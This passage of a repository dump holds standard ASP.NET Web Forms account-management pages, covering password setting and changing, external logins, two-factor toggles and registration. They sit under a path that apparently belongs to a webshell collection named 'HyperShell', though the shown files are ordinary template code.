NavigateUrl=\"/Account/ManageLogins\" Text=\"[Manage]\" runat=\"server\" />\r\n\r\n                    </dd>\r\n                    <%--\r\n                        Phone Numbers can used as a second factor of verification in a two-factor authentication system.\r\n                        See <a href=\"http://go.microsoft.com/fwlink/?LinkId=403804\">this article</a>\r\n                        for details on setting up this ASP.NET application to support two-factor authentication using SMS.\r\n                        Uncomment the following blocks after you have set up two-factor authentication\r\n                    --%>\r\n                    <%--\r\n                    <dt>Phone Number:</dt>\r\n                    <% if (HasPhoneNumber)\r\n                       { %>\r\n                    <dd>\r\n                        <asp:HyperLink NavigateUrl=\"/Account/AddPhoneNumber\" runat=\"server\" Text=\"[Add]\" />\r\n                    </dd>\r\n                    <% }\r\n                       else\r\n                       { %>\r\n                    <dd>\r\n                        <asp:Label Text=\"\" ID=\"PhoneNumber\" runat=\"server\" />\r\n                        <asp:HyperLink NavigateUrl=\"/Account/AddPhoneNumber\" runat=\"server\" Text=\"[Change]\" /> &nbsp;|&nbsp;\r\n                        <asp:LinkButton Text=\"[Remove]\" OnClick=\"RemovePhone_Click\" runat=\"server\" />\r\n                    </dd>\r\n                    <% } %>\r\n                    --%>\r\n\r\n                    <dt>Two-Factor Authentication:</dt>\r\n                    <dd>\r\n                        <p>\r\n                            There are no two-factor authentication providers configured. See <a href=\"http://go.microsoft.com/fwlink/?LinkId=403804\">this article</a>\r\n                            for details on setting up this ASP.NET application to support two-factor authentication.\r\n                        </p>\r\n                        <% if (TwoFactorEnabled)\r\n                          { %> \r\n                        <%--\r\n                        Enabled\r\n                        <asp:LinkButton Text=\"[Disable]\" runat=\"server\" CommandArgument=\"false\" OnClick=\"TwoFactorDisable_Click\" />\r\n                        --%>\r\n                        <% }\r\n                          else\r\n                          { %> \r\n                        <%--\r\n                        Disabled\r\n                        <asp:LinkButton Text=\"[Enable]\" CommandArgument=\"true\" OnClick=\"TwoFactorEnable_Click\" runat=\"server\" />\r\n                        --%>\r\n                        <% } %>\r\n                    </dd>\r\n                </dl>\r\n            </div>\r\n        </div>\r\n    </div>\r\n\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Manage.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Threading.Tasks;\r\nusing System.Web;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.EntityFramework;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Microsoft.Owin.Security;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class Manage : System.Web.UI.Page\r\n    {\r\n        protected string SuccessMessage\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n\r\n        private bool HasPassword(ApplicationUserManager manager)\r\n        {\r\n            return manager.HasPassword(User.Identity.GetUserId());\r\n        }\r\n\r\n        public bool HasPhoneNumber { get; private set; }\r\n\r\n        public bool TwoFactorEnabled { get; private set; }\r\n\r\n        public bool TwoFactorBrowserRemembered { get; private set; }\r\n\r\n        public int LoginsCount { get; set; }\r\n\r\n        protected void Page_Load()\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n\r\n            HasPhoneNumber = String.IsNullOrEmpty(manager.GetPhoneNumber(User.Identity.GetUserId()));\r\n\r\n            // Enable this after setting up two-factor authentientication\r\n            //PhoneNumber.Text = manager.GetPhoneNumber(User.Identity.GetUserId()) ?? String.Empty;\r\n\r\n            TwoFactorEnabled = manager.GetTwoFactorEnabled(User.Identity.GetUserId());\r\n\r\n            LoginsCount = manager.GetLogins(User.Identity.GetUserId()).Count;\r\n\r\n            var authenticationManager = HttpContext.Current.GetOwinContext().Authentication;\r\n\r\n            if (!IsPostBack)\r\n            {\r\n                // Determine the sections to render\r\n                if (HasPassword(manager))\r\n                {\r\n                    ChangePassword.Visible = true;\r\n                }\r\n                else\r\n                {\r\n                    CreatePassword.Visible = true;\r\n                    ChangePassword.Visible = false;\r\n                }\r\n\r\n                // Render success message\r\n                var message = Request.QueryString[\"m\"];\r\n                if (message != null)\r\n                {\r\n                    // Strip the query string from action\r\n                    Form.Action = ResolveUrl(\"~/Account/Manage\");\r\n\r\n                    SuccessMessage =\r\n                        message == \"ChangePwdSuccess\" ? \"Your password has been changed.\"\r\n                        : message == \"SetPwdSuccess\" ? \"Your password has been set.\"\r\n                        : message == \"RemoveLoginSuccess\" ? \"The account was removed.\"\r\n                        : message == \"AddPhoneNumberSuccess\" ? \"Phone number has been added\"\r\n                        : message == \"RemovePhoneNumberSuccess\" ? \"Phone number was removed\"\r\n                        : String.Empty;\r\n                    successMessage.Visible = !String.IsNullOrEmpty(SuccessMessage);\r\n                }\r\n            }\r\n        }\r\n\r\n\r\n        private void AddErrors(IdentityResult result)\r\n        {\r\n            foreach (var error in result.Errors)\r\n            {\r\n                ModelState.AddModelError(\"\", error);\r\n            }\r\n        }\r\n\r\n        // Remove phonenumber from user\r\n        protected void RemovePhone_Click(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n            var result = manager.SetPhoneNumber(User.Identity.GetUserId(), null);\r\n            if (!result.Succeeded)\r\n            {\r\n                return;\r\n            }\r\n            var user = manager.FindById(User.Identity.GetUserId());\r\n            if (user != null)\r\n            {\r\n                signInManager.SignIn(user, isPersistent: false, rememberBrowser: false);\r\n                Response.Redirect(\"/Account/Manage?m=RemovePhoneNumberSuccess\");\r\n            }\r\n        }\r\n\r\n        // DisableTwoFactorAuthentication\r\n        protected void TwoFactorDisable_Click(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            manager.SetTwoFactorEnabled(User.Identity.GetUserId(), false);\r\n\r\n            Response.Redirect(\"/Account/Manage\");\r\n        }\r\n\r\n        //EnableTwoFactorAuthentication \r\n        protected void TwoFactorEnable_Click(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            manager.SetTwoFactorEnabled(User.Identity.GetUserId(), true);\r\n\r\n            Response.Redirect(\"/Account/Manage\");\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Manage.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class Manage {\r\n        \r\n        /// <summary>\r\n        /// successMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder successMessage;\r\n        \r\n        /// <summary>\r\n        /// ChangePassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HyperLink ChangePassword;\r\n        \r\n        /// <summary>\r\n        /// CreatePassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HyperLink CreatePassword;\r\n        \r\n        /// <summary>\r\n        /// PhoneNumber control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Label PhoneNumber;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManageLogins.aspx",
    "content": "﻿<%@ Page Title=\"\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"ManageLogins.aspx.cs\" Inherits=\"HyperShell.Account.ManageLogins\" %>\r\n<%@ Register Src=\"~/Account/OpenAuthProviders.ascx\" TagPrefix=\"uc\" TagName=\"OpenAuthProviders\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2>Manage your external logins.</h2>\r\n    <asp:PlaceHolder runat=\"server\" ID=\"successMessage\" Visible=\"false\" ViewStateMode=\"Disabled\">\r\n            <p class=\"text-success\"><%: SuccessMessage %></p>\r\n        </asp:PlaceHolder>\r\n    <div>\r\n        <section id=\"externalLoginsForm\">\r\n\r\n            <asp:ListView runat=\"server\"\r\n                ItemType=\"Microsoft.AspNet.Identity.UserLoginInfo\"\r\n                SelectMethod=\"GetLogins\" DeleteMethod=\"RemoveLogin\" DataKeyNames=\"LoginProvider,ProviderKey\">\r\n\r\n                <LayoutTemplate>\r\n                    <h4>Registered Logins</h4>\r\n                    <table class=\"table\">\r\n                        <tbody>\r\n                            <tr runat=\"server\" id=\"itemPlaceholder\"></tr>\r\n                        </tbody>\r\n                    </table>\r\n\r\n                </LayoutTemplate>\r\n                <ItemTemplate>\r\n                    <tr>\r\n                        <td><%#: Item.LoginProvider %></td>\r\n                        <td>\r\n                            <asp:Button runat=\"server\" Text=\"Remove\" CommandName=\"Delete\" CausesValidation=\"false\"\r\n                                ToolTip='<%# \"Remove this \" + Item.LoginProvider + \" login from your account\" %>'\r\n                                Visible=\"<%# CanRemoveExternalLogins %>\" CssClass=\"btn btn-default\" />\r\n                        </td>\r\n                    </tr>\r\n                </ItemTemplate>\r\n            </asp:ListView>\r\n\r\n        </section>\r\n    </div>\r\n    <div>\r\n        <uc:OpenAuthProviders runat=\"server\" ReturnUrl=\"~/Account/ManageLogins\" />\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManageLogins.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class ManageLogins : System.Web.UI.Page\r\n    {\r\n        protected string SuccessMessage\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n        protected bool CanRemoveExternalLogins\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n\r\n        private bool HasPassword(ApplicationUserManager manager)\r\n        {\r\n            return manager.HasPassword(User.Identity.GetUserId());\r\n        }\r\n\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            CanRemoveExternalLogins = manager.GetLogins(User.Identity.GetUserId()).Count() > 1;\r\n\r\n            SuccessMessage = String.Empty;\r\n            successMessage.Visible = !String.IsNullOrEmpty(SuccessMessage);\r\n        }\r\n\r\n        public IEnumerable<UserLoginInfo> GetLogins()\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var accounts = manager.GetLogins(User.Identity.GetUserId());\r\n            CanRemoveExternalLogins = accounts.Count() > 1 || HasPassword(manager);\r\n            return accounts;\r\n        }\r\n\r\n        public void RemoveLogin(string loginProvider, string providerKey)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n            var result = manager.RemoveLogin(User.Identity.GetUserId(), new UserLoginInfo(loginProvider, providerKey));\r\n            string msg = String.Empty;\r\n            if (result.Succeeded)\r\n            {\r\n                var user = manager.FindById(User.Identity.GetUserId());\r\n                signInManager.SignIn(user, isPersistent: false, rememberBrowser: false);\r\n                msg = \"?m=RemoveLoginSuccess\";\r\n            }\r\n            Response.Redirect(\"~/Account/ManageLogins\" + msg);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManageLogins.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class ManageLogins {\r\n        \r\n        /// <summary>\r\n        /// successMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder successMessage;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManagePassword.aspx",
    "content": "﻿<%@ Page Title=\"Manage Password\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"ManagePassword.aspx.cs\" Inherits=\"HyperShell.Account.ManagePassword\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2><%: Title %>.</h2>\r\n    <div class=\"form-horizontal\">\r\n        <section id=\"passwordForm\">\r\n            <asp:PlaceHolder runat=\"server\" ID=\"setPassword\" Visible=\"false\">\r\n                <p>\r\n                    You do not have a local password for this site. Add a local\r\n                        password so you can log in without an external login.\r\n                </p>\r\n                <div class=\"form-horizontal\">\r\n                    <h4>Set Password Form</h4>\r\n                    <asp:ValidationSummary runat=\"server\" ShowModelStateErrors=\"true\" CssClass=\"text-danger\" />\r\n                    <hr />\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" AssociatedControlID=\"password\" CssClass=\"col-md-2 control-label\">Password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"password\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"password\"\r\n                                CssClass=\"text-danger\" ErrorMessage=\"The password field is required.\"\r\n                                Display=\"Dynamic\" ValidationGroup=\"SetPassword\" />\r\n                            <asp:ModelErrorMessage runat=\"server\" ModelStateKey=\"NewPassword\" AssociatedControlID=\"password\"\r\n                                CssClass=\"text-danger\" SetFocusOnError=\"true\" />\r\n                        </div>\r\n                    </div>\r\n\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" AssociatedControlID=\"confirmPassword\" CssClass=\"col-md-2 control-label\">Confirm password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"confirmPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"confirmPassword\"\r\n                                CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The confirm password field is required.\"\r\n                                ValidationGroup=\"SetPassword\" />\r\n                            <asp:CompareValidator runat=\"server\" ControlToCompare=\"Password\" ControlToValidate=\"confirmPassword\"\r\n                                CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The password and confirmation password do not match.\"\r\n                                ValidationGroup=\"SetPassword\" />\r\n\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <div class=\"col-md-offset-2 col-md-10\">\r\n                            <asp:Button runat=\"server\" Text=\"Set Password\" ValidationGroup=\"SetPassword\" OnClick=\"SetPassword_Click\" CssClass=\"btn btn-default\" />\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </asp:PlaceHolder>\r\n\r\n            <asp:PlaceHolder runat=\"server\" ID=\"changePasswordHolder\" Visible=\"false\">\r\n                <div class=\"form-horizontal\">\r\n                    <h4>Change Password Form</h4>\r\n                    <hr />\r\n                    <asp:ValidationSummary runat=\"server\" ShowModelStateErrors=\"true\" CssClass=\"text-danger\" />\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" ID=\"CurrentPasswordLabel\" AssociatedControlID=\"CurrentPassword\" CssClass=\"col-md-2 control-label\">Current password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"CurrentPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"CurrentPassword\"\r\n                                CssClass=\"text-danger\" ErrorMessage=\"The current password field is required.\"\r\n                                ValidationGroup=\"ChangePassword\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" ID=\"NewPasswordLabel\" AssociatedControlID=\"NewPassword\" CssClass=\"col-md-2 control-label\">New password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"NewPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"NewPassword\"\r\n                                CssClass=\"text-danger\" ErrorMessage=\"The new password is required.\"\r\n                                ValidationGroup=\"ChangePassword\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <asp:Label runat=\"server\" ID=\"ConfirmNewPasswordLabel\" AssociatedControlID=\"ConfirmNewPassword\" CssClass=\"col-md-2 control-label\">Confirm new password</asp:Label>\r\n                        <div class=\"col-md-10\">\r\n                            <asp:TextBox runat=\"server\" ID=\"ConfirmNewPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                            <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"ConfirmNewPassword\"\r\n                                CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"Confirm new password is required.\"\r\n                                ValidationGroup=\"ChangePassword\" />\r\n                            <asp:CompareValidator runat=\"server\" ControlToCompare=\"NewPassword\" ControlToValidate=\"ConfirmNewPassword\"\r\n                                CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The new password and confirmation password do not match.\"\r\n                                ValidationGroup=\"ChangePassword\" />\r\n                        </div>\r\n                    </div>\r\n                    <div class=\"form-group\">\r\n                        <div class=\"col-md-offset-2 col-md-10\">\r\n                            <asp:Button runat=\"server\" Text=\"Change Password\" ValidationGroup=\"ChangePassword\" OnClick=\"ChangePassword_Click\" CssClass=\"btn btn-default\" />\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n            </asp:PlaceHolder>\r\n        </section>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManagePassword.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class ManagePassword : System.Web.UI.Page\r\n    {\r\n        protected string SuccessMessage\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n\r\n        private bool HasPassword(ApplicationUserManager manager)\r\n        {\r\n            return manager.HasPassword(User.Identity.GetUserId());\r\n        }\r\n\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n\r\n            if (!IsPostBack)\r\n            {\r\n                // Determine the sections to render\r\n                if (HasPassword(manager))\r\n                {\r\n                    changePasswordHolder.Visible = true;\r\n                }\r\n                else\r\n                {\r\n                    setPassword.Visible = true;\r\n                    changePasswordHolder.Visible = false;\r\n                }\r\n\r\n                // Render success message\r\n                var message = Request.QueryString[\"m\"];\r\n                if (message != null)\r\n                {\r\n                    // Strip the query string from action\r\n                    Form.Action = ResolveUrl(\"~/Account/Manage\");\r\n                }\r\n            }\r\n        }\r\n\r\n        protected void ChangePassword_Click(object sender, EventArgs e)\r\n        {\r\n            if (IsValid)\r\n            {\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n                IdentityResult result = manager.ChangePassword(User.Identity.GetUserId(), CurrentPassword.Text, NewPassword.Text);\r\n                if (result.Succeeded)\r\n                {\r\n                    var user = manager.FindById(User.Identity.GetUserId());\r\n                    signInManager.SignIn( user, isPersistent: false, rememberBrowser: false);\r\n                    Response.Redirect(\"~/Account/Manage?m=ChangePwdSuccess\");\r\n                }\r\n                else\r\n                {\r\n                    AddErrors(result);\r\n                }\r\n            }\r\n        }\r\n\r\n        protected void SetPassword_Click(object sender, EventArgs e)\r\n        {\r\n            if (IsValid)\r\n            {\r\n                // Create the local login info and link the local account to the user\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                IdentityResult result = manager.AddPassword(User.Identity.GetUserId(), password.Text);\r\n                if (result.Succeeded)\r\n                {\r\n                    Response.Redirect(\"~/Account/Manage?m=SetPwdSuccess\");\r\n                }\r\n                else\r\n                {\r\n                    AddErrors(result);\r\n                }\r\n            }\r\n        }\r\n\r\n        private void AddErrors(IdentityResult result)\r\n        {\r\n            foreach (var error in result.Errors)\r\n            {\r\n                ModelState.AddModelError(\"\", error);\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ManagePassword.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class ManagePassword {\r\n        \r\n        /// <summary>\r\n        /// setPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder setPassword;\r\n        \r\n        /// <summary>\r\n        /// password control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox password;\r\n        \r\n        /// <summary>\r\n        /// confirmPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox confirmPassword;\r\n        \r\n        /// <summary>\r\n        /// changePasswordHolder control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder changePasswordHolder;\r\n        \r\n        /// <summary>\r\n        /// CurrentPasswordLabel control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Label CurrentPasswordLabel;\r\n        \r\n        /// <summary>\r\n        /// CurrentPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox CurrentPassword;\r\n        \r\n        /// <summary>\r\n        /// NewPasswordLabel control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Label NewPasswordLabel;\r\n        \r\n        /// <summary>\r\n        /// NewPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox NewPassword;\r\n        \r\n        /// <summary>\r\n        /// ConfirmNewPasswordLabel control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Label ConfirmNewPasswordLabel;\r\n        \r\n        /// <summary>\r\n        /// ConfirmNewPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox ConfirmNewPassword;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Register.aspx",
    "content": "﻿<%@ Page Title=\"Register\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Register.aspx.cs\" Inherits=\"HyperShell.Account.Register\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n    <p class=\"text-danger\">\r\n        <asp:Literal runat=\"server\" ID=\"ErrorMessage\" />\r\n    </p>\r\n\r\n    <div class=\"form-horizontal\">\r\n        <h4>Create a new account</h4>\r\n        <hr />\r\n        <asp:ValidationSummary runat=\"server\" CssClass=\"text-danger\" />\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"Email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"Email\" CssClass=\"form-control\" TextMode=\"Email\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Email\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The email field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"Password\" CssClass=\"col-md-2 control-label\">Password</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"Password\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Password\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The password field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"ConfirmPassword\" CssClass=\"col-md-2 control-label\">Confirm password</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"ConfirmPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"ConfirmPassword\"\r\n                    CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The confirm password field is required.\" />\r\n                <asp:CompareValidator runat=\"server\" ControlToCompare=\"Password\" ControlToValidate=\"ConfirmPassword\"\r\n                    CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The password and confirmation password do not match.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <div class=\"col-md-offset-2 col-md-10\">\r\n                <asp:Button runat=\"server\" OnClick=\"CreateUser_Click\" Text=\"Register\" CssClass=\"btn btn-default\" />\r\n            </div>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Register.aspx.cs",
    "content": "﻿using System;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class Register : Page\r\n    {\r\n        protected void CreateUser_Click(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n            var user = new ApplicationUser() { UserName = Email.Text, Email = Email.Text };\r\n            IdentityResult result = manager.Create(user, Password.Text);\r\n            if (result.Succeeded)\r\n            {\r\n                // For more information on how to enable account confirmation and password reset please visit http://go.microsoft.com/fwlink/?LinkID=320771\r\n                //string code = manager.GenerateEmailConfirmationToken(user.Id);\r\n                //string callbackUrl = IdentityHelper.GetUserConfirmationRedirectUrl(code, user.Id, Request);\r\n                //manager.SendEmail(user.Id, \"Confirm your account\", \"Please confirm your account by clicking <a href=\\\"\" + callbackUrl + \"\\\">here</a>.\");\r\n\r\n                signInManager.SignIn( user, isPersistent: false, rememberBrowser: false);\r\n                IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n            }\r\n            else \r\n            {\r\n                ErrorMessage.Text = result.Errors.FirstOrDefault();\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/Register.aspx.designer.cs",
